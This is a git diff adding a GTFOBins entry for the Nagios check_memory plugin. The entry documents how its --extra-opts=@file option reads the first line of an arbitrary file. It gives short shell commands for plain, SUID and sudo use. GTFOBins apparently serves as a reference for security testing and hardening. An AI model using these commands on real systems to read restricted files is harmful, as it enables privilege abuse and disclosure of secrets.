diff --git a/_gtfobins/check_memory.md b/_gtfobins/check_memory.md
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+---
+description: |
+  This is the `check_memory` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        check_memory --extra-opts=@"$LFILE"
+  suid:
+    - code: |
+        LFILE=file_to_read
+        ./check_memory --extra-opts=@"$LFILE"
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo check_memory --extra-opts=@"$LFILE"
+---